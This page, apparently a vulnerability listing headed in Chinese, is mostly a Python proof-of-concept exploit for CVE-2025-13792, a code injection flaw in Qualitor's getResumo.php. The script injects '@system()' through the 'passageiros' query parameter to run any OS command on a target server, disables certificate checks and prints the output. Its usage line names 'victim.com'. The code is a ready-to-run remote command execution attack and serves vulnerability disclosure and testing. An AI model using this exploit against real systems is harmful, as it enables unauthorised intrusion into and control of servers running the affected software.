CVE-2025-13792 Qualitor stdeslocamento getResumo.php 代码注入漏洞

import requests import sys # CVE-2025-13792 PoC - Qualitor Code Injection in getResumo.php # Target: Qualitor <= 8.20.104 / <= 8.24.97 def exploit(target_url, cmd="id"): """Exploit the code injection vulnerability via passageiro parameter""" endpoint = f"{target_url.rstrip('/')}/html/st/stdeslocamento/request/getResumo.php" # Payload: inject PHP code via passageiro parameter # Using system() to execute OS commands payload = f"1;@system('{cmd}');" params = { "passageiros": payload } try: response = requests.get(endpoint, params=params, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://victim.com id") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, command)